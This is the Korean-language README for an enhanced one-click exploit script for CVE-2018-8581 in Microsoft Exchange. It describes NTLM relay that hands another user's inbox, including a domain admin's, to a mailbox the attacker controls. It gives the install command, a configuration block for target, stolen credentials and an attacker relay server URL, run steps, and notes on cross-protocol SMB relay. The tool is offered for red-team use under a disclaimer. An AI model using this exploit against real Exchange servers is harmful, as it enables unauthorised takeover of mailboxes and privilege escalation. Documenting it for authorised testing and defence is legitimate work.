
CVE-2018-8581 | Microsoft Exchange Server 권한 상승 취약점
이것은 메일박스 수준의 횡적 침투 및 권한 상승 취약점입니다.
일반 권한의 메일 계정 비밀번호를 확보한 후, 다른 사용자(도메인 관리자 포함)의 메일박스 받은 편지함에 대한 위임을 통해 인계할 수 있습니다.
이 EXP 스크립트는 원본 PoC를 기반으로 수정된 향상된 원클릭 스크립트입니다. 관련 매개변수를 구성한 후, 대상 메일박스의 받은 편지함에 대한 위임 추가 및 제거 작업을 자동으로 수행하여, 보안 부서와 레드팀이 승인된 기업에 대한 모의 공격 과정을 완료할 수 있도록 합니다.
원본 PoC는 두 개의 스크립트를 함께 사용하여 수신 규칙을 추가하는 방식으로, 실제 업무에서는 실용적이지 않았습니다. 또한 원본 PoC는 메일박스 외에도 대상 메일박스 사용자의 SID가 필요했지만, 문서에서 언급된 사용자 SID 획득 방법을 Exchange Server 2010 및 2013 환경에서 테스트했을 때 성공적으로 재현하지 못했습니다(2010은 관련 작업 옵션이 없었고, 2013은 권한 부족 오류 발생). 결국 제 접근 방식은 먼저 역위임을 통해 대상 메일박스 사용자의 SID를 획득한 후 위임을 제거하는 것이었습니다.
python-ntlm 설치
pip install python-ntlm
스크립트의 아래 코드에서 관련 매개변수 구성
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
스크립트를 실행하고, 구기자 차를 한 모금 마시며 1분 기다립니다.
![]()
이제 TARGET_EMAIL의 받은 편지함이 CONTROLLED_EMAIL에 성공적으로 위임되었습니다.
OWA 또는 Outlook에서 대상 메일박스의 받은 편지함 확인
FLAG를 0으로 변경하고 스크립트를 다시 실행한 후, 다시 구기자 차를 한 모금 마시고 1분 기다리면 이전에 추가한 위임이 제거됩니다.
더 이상 접근 권한이 없습니다.
Python 2.7.14
Exchange Server 2010 (비교적 안정적이며, 테스트 시 대부분의 Exchange Server 2010에서 성공합니다.)
Exchange Server 2013 (환경 차이로 실패할 수 있음)
Exchange Server 2016 (환경 차이로 실패할 수 있음)
더 많은 EWS SOAP API 요청은 make_relay_body() 함수 내에서 수정할 수 있습니다.
추가로 Net-NTLM 해시를 릴레이하여 SMB 서명이 필요 없는 다른 호스트를 공격하는 실험에서, 획득한 해시가 모두 ExchangeServer의 것임을 발견했습니다... 아마도 ExchangeServer에서 SMB 서명이 비활성화된 경우, 크로스 프로토콜 릴레이를 통해 ExchangeServer를 공격하는 데 사용될 수 있겠지만, 이러한 상황은 거의 발생하기 어렵습니다...
이 스크립트는 학습 및 교류 목적으로만 사용되며, 사용자는 해당 지역의 관련 법률을 준수해야 합니다. 다른 용도로 사용할 경우 발생하는 법적 책임은 전적으로 사용자에게 있으며, 저자와는 무관합니다. 다운로드 및 사용 시 사용자는 위 내용에 동의하는 것으로 간주됩니다.